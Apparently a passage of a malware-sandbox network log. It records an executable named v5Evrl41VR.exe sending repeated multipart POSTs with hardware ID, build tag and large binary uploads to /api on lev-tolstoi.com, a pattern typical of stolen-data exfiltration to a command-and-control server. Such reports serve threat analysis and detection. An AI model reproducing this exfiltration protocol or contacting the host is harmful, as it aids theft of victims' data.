2024-12-28 08:48:35 UTC	1369	IN	Data Raw: 65 59 58 4a 4e 77 75 74 5a 47 6d 38 61 67 49 62 4d 46 32 59 4b 6b 53 79 42 67 44 37 56 67 65 48 42 50 54 47 39 64 46 43 35 79 46 42 56 50 41 72 4b 76 52 6f 57 55 68 71 55 6b 76 55 2f 58 45 75 2f 43 4b 47 39 65 74 2b 6d 74 4d 31 4a 4f 65 30 39 59 76 53 4d 55 43 51 79 54 4a 4b 6c 45 68 67 6e 48 59 76 63 71 6e 6b 66 58 63 4a 34 7a 4e 64 71 37 4f 2b 34 7a 32 74 2b 70 58 34 6e 75 5a 4a 51 4d 6a 49 4e 30 65 39 51 55 47 51 50 6d 64 76 4d 46 32 6f 49 6b 43 71 4e 6c 79 2f 38 6e 35 2b 61 66 6a 44 7a 4b 33 2f 6f 77 46 34 71 66 51 71 4b 78 41 49 65 4a 79 62 55 33 4f 70 70 46 55 61 69 4b 4a 57 4a 50 2b 57 77 37 4b 68 7a 4f 66 77 36 65 65 36 50 55 43 51 79 54 4a 4b 6c 45 42 67 6e 48 59 76 63 71 6e 6b 66 58 63 4a 34 7a 4e 64 71 37 4f 2b 34 7a 32 74 2b 70 58 34 6e 75 5a Data Ascii: eYXJNwutZGm8agIbMF2YKkSyBgD7VgeHBPTG9dFC5yFBVPArKvRoWUhqUkvU/XEu/CKG9et+mtM1JOe09YvSMUCQyTJKlEhgnHYvcqnkfXcJ4zNdq7O+4z2t+pX4nuZJQMjIN0e9QUGQPmdvMF2oIkCqNly/8n5+afjDzK3/owF4qfQqKxAIeJybU3OppFUaiKJWJP+Ww7KhzOfw6ee6PUCQyTJKlEBgnHYvcqnkfXcJ4zNdq7O+4z2t+pX4nuZ
2024-12-28 08:48:35 UTC	1369	IN	Data Raw: 54 63 54 2b 41 68 67 6e 46 64 72 45 73 69 68 48 46 70 6f 6b 6e 4d 73 2f 36 61 62 68 77 54 30 77 76 58 51 70 2b 49 6f 41 5a 33 31 4e 6e 76 74 4d 57 43 63 47 31 49 57 79 50 77 31 65 78 47 58 62 6c 58 69 72 34 65 61 4d 62 79 7a 37 4c 33 2f 36 78 79 35 55 58 31 6a 56 37 55 45 55 56 68 53 65 69 75 63 71 58 51 47 70 46 62 61 56 50 2b 4f 69 34 37 35 72 50 66 30 69 62 72 6e 4f 55 48 49 79 45 70 4c 51 55 46 46 33 47 74 72 53 73 69 55 4e 58 74 63 6d 69 59 41 6f 38 4f 32 6d 6c 58 70 2b 34 6d 4a 77 75 5a 5a 51 4d 69 45 45 6b 75 38 43 44 69 64 65 6c 4a 48 7a 4b 6b 4d 46 68 54 6d 64 68 43 37 77 35 70 2b 78 55 43 7a 36 50 47 71 37 73 52 31 75 5a 46 2f 52 37 55 56 6f 57 54 53 49 6d 2b 49 71 44 79 71 51 4a 70 65 35 42 73 53 77 70 70 38 2f 47 50 34 36 61 72 6e 4f 55 48 49 Data Ascii: TcT+AhgnFdrEsihHFpoknMs/6abhwT0wvXQp+IoAZ31NnvtMWCcG1IWyPw1exGXblXir4eaMbyz7L3/6xy5UX1jV7UEUVhSeiucqXQGpFbaVP+Oi475rPf0ibrnOUHIyEpLQUFF3GtrSsiUNXtcmiYAo8O2mlXp+4mJwuZZQMiEEku8CDidelJHzKkMFhTmdhC7w5p+xUCz6PGq7sR1uZF/R7UVoWTSIm+IqDyqQJpe5BsSwpp8/GP46arnOUHI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49733	104.21.66.86	443	7860	C:\Users\user\Desktop\v5Evrl41VR.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 08:48:37 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2OD0KYC4VGD User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12811 Host: lev-tolstoi.com
2024-12-28 08:48:37 UTC	12811	OUT	Data Raw: 2d 2d 32 4f 44 30 4b 59 43 34 56 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 42 43 44 39 38 45 42 36 31 33 34 46 44 44 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 32 4f 44 30 4b 59 43 34 56 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 32 4f 44 30 4b 59 43 34 56 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 32 4f 44 30 4b 59 43 34 56 47 44 Data Ascii: --2OD0KYC4VGDContent-Disposition: form-data; name="hwid"70BCD98EB6134FDDBEBA0C6A975F1733--2OD0KYC4VGDContent-Disposition: form-data; name="pid"2--2OD0KYC4VGDContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--2OD0KYC4VGD
2024-12-28 08:48:38 UTC	1127	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 08:48:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j8a623lmtrt5s4o8q4o0gc7hi3; expires=Wed, 23 Apr 2025 02:35:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mJFBYz9u0v3tnt2n6p96%2FIM1dD%2BYOLWPuLBRRPS5TjQdy6f6A9vxre99GiqEJn8kJSTjpkPgj9j32wbMTCE6ODVuEiA%2FhPhF3ulZGfsG8ahBXt8N3JreLZuB5BqNum2ZkHc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f904ada5ac48cbf-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1786&min_rtt=1776&rtt_var=686&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2834&recv_bytes=13743&delivery_rate=1570736&cwnd=249&unsent_bytes=0&cid=d2e4a9b2029e6001&ts=1015&x=0"
2024-12-28 08:48:38 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 08:48:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.11	49742	104.21.66.86	443	7860	C:\Users\user\Desktop\v5Evrl41VR.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 08:48:39 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LBIHEWUP0F4SOAQWEC1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15071 Host: lev-tolstoi.com
2024-12-28 08:48:39 UTC	15071	OUT	Data Raw: 2d 2d 4c 42 49 48 45 57 55 50 30 46 34 53 4f 41 51 57 45 43 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 42 43 44 39 38 45 42 36 31 33 34 46 44 44 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4c 42 49 48 45 57 55 50 30 46 34 53 4f 41 51 57 45 43 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4c 42 49 48 45 57 55 50 30 46 34 53 4f 41 51 57 45 43 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --LBIHEWUP0F4SOAQWEC1Content-Disposition: form-data; name="hwid"70BCD98EB6134FDDBEBA0C6A975F1733--LBIHEWUP0F4SOAQWEC1Content-Disposition: form-data; name="pid"2--LBIHEWUP0F4SOAQWEC1Content-Disposition: form-data; name="lid"LOGS11--Li
2024-12-28 08:48:40 UTC	1129	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 08:48:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8lmg11tt55sgto5g9psbgefcgo; expires=Wed, 23 Apr 2025 02:35:19 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eILEIKsOcoJRHh3%2Bz20bQRo3Hcs7AsgCFo1t4SBsEb4%2BgdmVK4k4Bywc%2FJa47kH4kTQQlaW6%2FNNVZokQ9FFXAqW6io5vxzChH24GOwFahJ56XGbkcgMJi7kcElq8D8l0k64%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f904ae8dd547ca2-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1790&min_rtt=1789&rtt_var=674&sent=11&recv=21&lost=0&retrans=0&sent_bytes=2835&recv_bytes=16011&delivery_rate=1619523&cwnd=239&unsent_bytes=0&cid=282efa3b705024f4&ts=962&x=0"
2024-12-28 08:48:40 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 08:48:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.11	49748	104.21.66.86	443	7860	C:\Users\user\Desktop\v5Evrl41VR.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 08:48:42 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=66PDDEIAGZZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20392 Host: lev-tolstoi.com
2024-12-28 08:48:42 UTC	15331	OUT	Data Raw: 2d 2d 36 36 50 44 44 45 49 41 47 5a 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 42 43 44 39 38 45 42 36 31 33 34 46 44 44 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 36 36 50 44 44 45 49 41 47 5a 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 36 36 50 44 44 45 49 41 47 5a 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 36 36 50 44 44 45 49 41 47 5a 5a Data Ascii: --66PDDEIAGZZContent-Disposition: form-data; name="hwid"70BCD98EB6134FDDBEBA0C6A975F1733--66PDDEIAGZZContent-Disposition: form-data; name="pid"3--66PDDEIAGZZContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--66PDDEIAGZZ
2024-12-28 08:48:42 UTC	5061	OUT	Data Raw: 00 00 00 00 00 00 00 00 6c 72 fd 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d ae 2f 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 f5 47 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 be 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 d7 1f 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 fa a2 60 61 d3 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9b 5c 5f f0 eb b1 64 f0 72 Data Ascii: lrQM/64G6(X&~`aO\_dr
2024-12-28 08:48:43 UTC	1133	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 08:48:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=j6i63acktl6ecek5a945dtmjie; expires=Wed, 23 Apr 2025 02:35:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U%2FhaP5%2FXybBMi8N3FvVG5zQkIBaXQPDLYlFC5HR5YDEyC3A%2FnfdkzIFkXKMcramFmtjscKgYHjzBq%2F9dD5uL8AkGLjlZUGY2R4qm%2Bycrnfdc3NzMb%2Bd6z72AxgKj6q7FXD4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f904af81b3a430d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1572&min_rtt=1566&rtt_var=600&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2835&recv_bytes=21346&delivery_rate=1804697&cwnd=227&unsent_bytes=0&cid=55fc21db140d6576&ts=989&x=0"
2024-12-28 08:48:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 08:48:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.11	49758	104.21.66.86	443	7860	C:\Users\user\Desktop\v5Evrl41VR.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 08:48:44 UTC	272	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=1EC469D6P6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1204 Host: lev-tolstoi.com
2024-12-28 08:48:44 UTC	1204	OUT	Data Raw: 2d 2d 31 45 43 34 36 39 44 36 50 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 42 43 44 39 38 45 42 36 31 33 34 46 44 44 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 31 45 43 34 36 39 44 36 50 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 31 45 43 34 36 39 44 36 50 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 31 45 43 34 36 39 44 36 50 36 0d 0a 43 6f Data Ascii: --1EC469D6P6Content-Disposition: form-data; name="hwid"70BCD98EB6134FDDBEBA0C6A975F1733--1EC469D6P6Content-Disposition: form-data; name="pid"1--1EC469D6P6Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--1EC469D6P6Co
2024-12-28 08:48:45 UTC	1128	IN	HTTP/1.1 200 OK Date: Sat, 28 Dec 2024 08:48:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3nkd80l2uk0n8oeds4d3ilspjn; expires=Wed, 23 Apr 2025 02:35:24 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jdRAE451boARhOCM2CIk%2BGesviJu5fIJAZ3RScyE3C%2BQgnNAZ3%2B1hKKuNphgZ5YxAD7Tzc3rGUuPvabxVwFrHDF5ywWr6AstSDARq5Ad%2F8Zxa3H9iHXFVl%2FS9nBmQWUmrf0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f904b09eed44234-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1563&min_rtt=1557&rtt_var=597&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2834&recv_bytes=2112&delivery_rate=1814791&cwnd=172&unsent_bytes=0&cid=589a5da37a384385&ts=790&x=0"
2024-12-28 08:48:45 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-28 08:48:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.11	49765	104.21.66.86	443	7860	C:\Users\user\Desktop\v5Evrl41VR.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-28 08:48:47 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=LTK9RMJ3F2ICHVNTQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 569977 Host: lev-tolstoi.com
2024-12-28 08:48:47 UTC	15331	OUT	Data Raw: 2d 2d 4c 54 4b 39 52 4d 4a 33 46 32 49 43 48 56 4e 54 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 30 42 43 44 39 38 45 42 36 31 33 34 46 44 44 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 4c 54 4b 39 52 4d 4a 33 46 32 49 43 48 56 4e 54 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4c 54 4b 39 52 4d 4a 33 46 32 49 43 48 56 4e 54 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --LTK9RMJ3F2ICHVNTQContent-Disposition: form-data; name="hwid"70BCD98EB6134FDDBEBA0C6A975F1733--LTK9RMJ3F2ICHVNTQContent-Disposition: form-data; name="pid"1--LTK9RMJ3F2ICHVNTQContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-12-28 08:48:47 UTC	15331	OUT	Data Raw: b3 e2 0d 19 0b c3 97 d4 ea 8a db 54 9d 2a 5e a2 81 c9 15 e0 7d 4e 01 1c 65 a8 d1 eb 9c 18 4c 83 06 e3 28 ea 69 14 7d 45 58 1f fc 7f bb c5 e7 d0 f4 7a e3 df db 87 d4 b9 a0 8a 61 08 ae d2 01 2a d0 a4 e0 86 e4 c1 98 60 0c 75 e8 6d 0a 01 e9 72 ef c5 35 71 7d 3b 0b 4f 7d 67 d5 80 2d 06 3d 07 91 e6 7e 15 b9 af 03 06 cd ab 36 f9 bc c0 58 d3 0d f1 7c 88 db 97 d8 d9 44 bd cd 67 3b 14 aa e1 46 7e ff 41 a0 1c ad c5 95 2a 4a a5 8f 32 d7 a7 84 b7 7c c5 a8 7e 92 16 99 4e 59 7b 92 3d 49 f1 73 76 20 47 73 77 cd ce 3e fc f2 61 14 33 a3 9d 33 5e 55 98 c0 72 29 e0 0e 8d d9 e6 37 a1 fc d9 49 3b 2f c6 4d c0 a9 df 40 26 76 48 dc 36 52 65 69 3c b6 7f 9a a6 a3 48 95 1b 80 cd 19 73 ff fc 21 a6 a0 14 ad 0c ae de d3 2d df fa f6 83 3a c8 bd e0 33 fb 6d f9 08 af 24 92 d4 74 5a 0d c0 Data Ascii: T^}NeL(i}EXza`umr5q};O}g-=~6X\|Dg;F~A*J2\|~NY{=Isv Gsw>a33^Ur)7I;/M@&vH6Rei<Hs!-:3m$tZ
2024-12-28 08:48:47 UTC	15331	OUT	Data Raw: d9 2a 8f 30 4b 7e 09 64 80 fd db 0c 37 96 8c b4 e0 d4 47 9d 41 f0 5b 5d 81 a4 d7 c4 c8 f0 67 c7 d4 55 59 d6 9d d1 be 74 a3 d6 4a 4e 9e 32 4d 01 d8 26 b4 61 e2 4c 4d 72 77 97 63 55 17 5f b1 c4 2a e6 e4 ef 35 19 6d 32 22 16 c3 b8 e5 bc 77 37 52 2c 06 ff 7d db 65 c8 e7 d0 fd 07 c0 ac 55 cd 94 0e 0c 45 2a 17 dc 11 77 f0 0e 53 1e a2 b5 1f 8b 3a 2d 77 ea b6 15 18 4a 3b 04 aa c7 d3 36 7d 08 80 34 bf 35 18 d1 51 b5 a7 60 d8 fa 27 c7 d7 5d cd 9f 6a e7 9f 65 5f ba 72 5b c7 6d 4b da b3 7d 56 d5 73 ce 7e 20 8b 71 ad 7d 9b e9 0b 2f 95 b2 e4 ee fc 13 ba 6e af b3 f5 e8 e6 a2 cd f9 eb 55 03 e9 a9 ce 7b 80 d7 c0 0f 08 ae 42 fe cf 59 a4 b2 46 a6 48 ce 55 2e ce 82 80 7d 93 1b f0 1f 02 96 14 40 66 41 e4 5e d1 14 64 ae 21 40 ba 46 31 e9 ff 7b 30 a1 d6 3e 62 bc 3e 10 05 87 31 Data Ascii: 0K~d7GA[]gUYtJN2M&aLMrwcU_5m2"w7R,}eUE*wS:-wJ;6}45Q`']je_r[mK}Vs~ q}/nU{BYFHU.}@fA^d!@F1{0>b>1
2024-12-28 08:48:47 UTC	15331	OUT	Data Raw: 9d 32 5c 90 fd e7 4b 8b cb 82 64 b6 eb d8 0b 59 8f 6b 20 33 55 cc 3a fd 51 db 94 2a 74 f9 9f 4c b8 3e 86 e2 6d dd 86 cf b4 ad c2 34 3b f8 e6 21 db 43 ac 27 97 5f d3 73 1f 56 44 a8 da 4e c7 05 0a 39 c8 3b c5 a7 c3 e2 25 e8 06 8b a7 00 3d b7 0d ab 3d 93 5e de fb af 5e d0 fe 22 be 8e fb 74 8f e3 3c f3 5f 15 fa 4c fe d9 ed 48 74 0d 3e ea 1b f3 78 59 5e f8 8c 8b f3 14 bb 4f f2 eb b1 b2 8a bb e4 8c 87 99 de 6d 59 dc f5 e6 97 c1 48 dc 72 59 c6 06 8c fe 4a 63 b7 60 5d ef cf 3b 53 9e cd bf bb af 4c d2 f7 69 9c a4 0d 90 1f e6 f9 51 43 54 fe 00 a4 e1 ea 51 6e 90 6f f8 86 7f ce c9 2b d5 18 90 74 ca 29 7a 46 ad ce 46 41 64 52 fd b5 ef f4 61 9e 74 76 cd 69 57 97 7e 44 6d e7 a7 3b 5c 8b 14 b1 5e 7b ba 14 a7 6d 77 62 c3 3f 21 96 3f 25 1c 07 08 46 04 ee 36 12 09 87 0b 0a Data Ascii: 2\KdYk 3U:Q*tL>m4;!C'_sVDN9;%==^^"t<_LHt>xY^OmYHrYJc`];SLiQCTQno+t)zFFAdRatviW~Dm;\^{mwb?!?%F6
2024-12-28 08:48:47 UTC	15331	OUT	Data Raw: 2a 9a 9a 52 8f 3d 8e 27 06 60 fe 17 69 4f e7 61 fa 54 f4 97 2e f5 3a e7 56 d7 11 ea ca 90 ed 55 a2 a3 c6 6c 06 3f e8 fc 4c 4d 95 5f d5 b4 89 0d c4 90 31 b2 e1 91 5f 5e 74 c3 9e 8e c3 cf c5 f2 99 ae f2 99 41 d0 29 50 e0 ff d9 81 f1 bf 87 49 18 ed 82 23 f5 ea 1e 3c c4 3a 65 41 df 4d 7e 9f 7d 67 81 25 23 2b 03 ed 1e e9 dc 8f a5 75 38 ab 07 ae 3d 82 11 1b 08 05 c2 60 ef 8d 9b 3c 65 0d d5 84 c5 f1 4c 22 ce 2e 70 ad 73 85 ec 56 df b3 61 91 d6 d2 1f 29 b3 50 7a b3 ce e6 9d cf 74 3a 9c 08 08 bd 70 39 33 62 19 88 73 0c 07 81 12 98 81 5d 42 28 ea f6 f7 78 68 c6 64 a0 2c 41 6b b9 c6 2b cd 14 90 72 1c 2f 23 d0 d3 5a d0 7c 8b 97 a7 c2 c2 c2 a5 15 65 4f 08 bc 2a 0a ce 91 a0 0b eb 14 0e 25 d8 b3 2a 79 ed 9e 9b 7f e4 08 89 08 ff 3b 59 89 1c 91 4d e1 f5 fd ac c6 7c 62 7c Data Ascii: R='`iOaT.:VUl?LM_1_^tA)PI#<:eAM~}g%#+u8=`<eL".psVa)Pzt:p93bs]B(xhd,Ak+r/#Z\|eO%*y;YM\|b\|
2024-12-28 08:48:47 UTC	15331	OUT	Data Raw: 76 5f 0a 9d 9d eb 66 04 da e8 95 6c a9 99 6a 45 d3 0c 7f 20 fe 08 9e 08 4c e5 57 f7 07 a8 2d 43 be cd 03 02 63 02 94 72 8e d1 d2 66 e7 4a 36 d2 1d cb f3 af 1b 9a d0 97 ae 70 8f 5e 41 1f fb bd f5 5e d8 b6 db 12 83 8a af 67 75 b4 84 76 5e 3d 32 18 d9 70 d1 d6 36 8e 35 99 ee 20 76 6f dd 9c db 99 f5 ed 97 dc df 28 23 e0 6e 1f be e2 f9 70 54 4d 9f 9f 8d 8b 61 0a 34 1f fa d7 88 a8 e7 cb 83 fc a2 0e b0 9b 28 fa 77 36 51 9c 3f d3 e4 16 d4 32 c5 d2 0e 5e 4a 09 4f 11 9c 78 46 bb 8c d0 49 1d 95 c4 99 1a bd ac 83 c6 b9 3b f4 ec d8 d9 05 96 8a 2e 69 0f 13 0e 92 f9 d7 8c d4 91 1e bc af 3e 2b 2b a1 2d 71 b6 ce 92 f7 4e c3 bd 81 90 ab 97 6c c6 b9 3f 17 13 f4 40 0e 2b 93 e5 b8 a3 e0 38 cd fa c0 28 f3 23 d9 7f eb 8f 03 c5 1f 3d 29 4b 51 e5 14 08 53 1d f9 bf 09 35 ff 1b 8d Data Ascii: v_fljE LW-CcrfJ6p^A^guv^=2p65 vo(#npTMa4(w6Q?2^JOxFI;.i>++-qNl?@+8(#=)KQS5
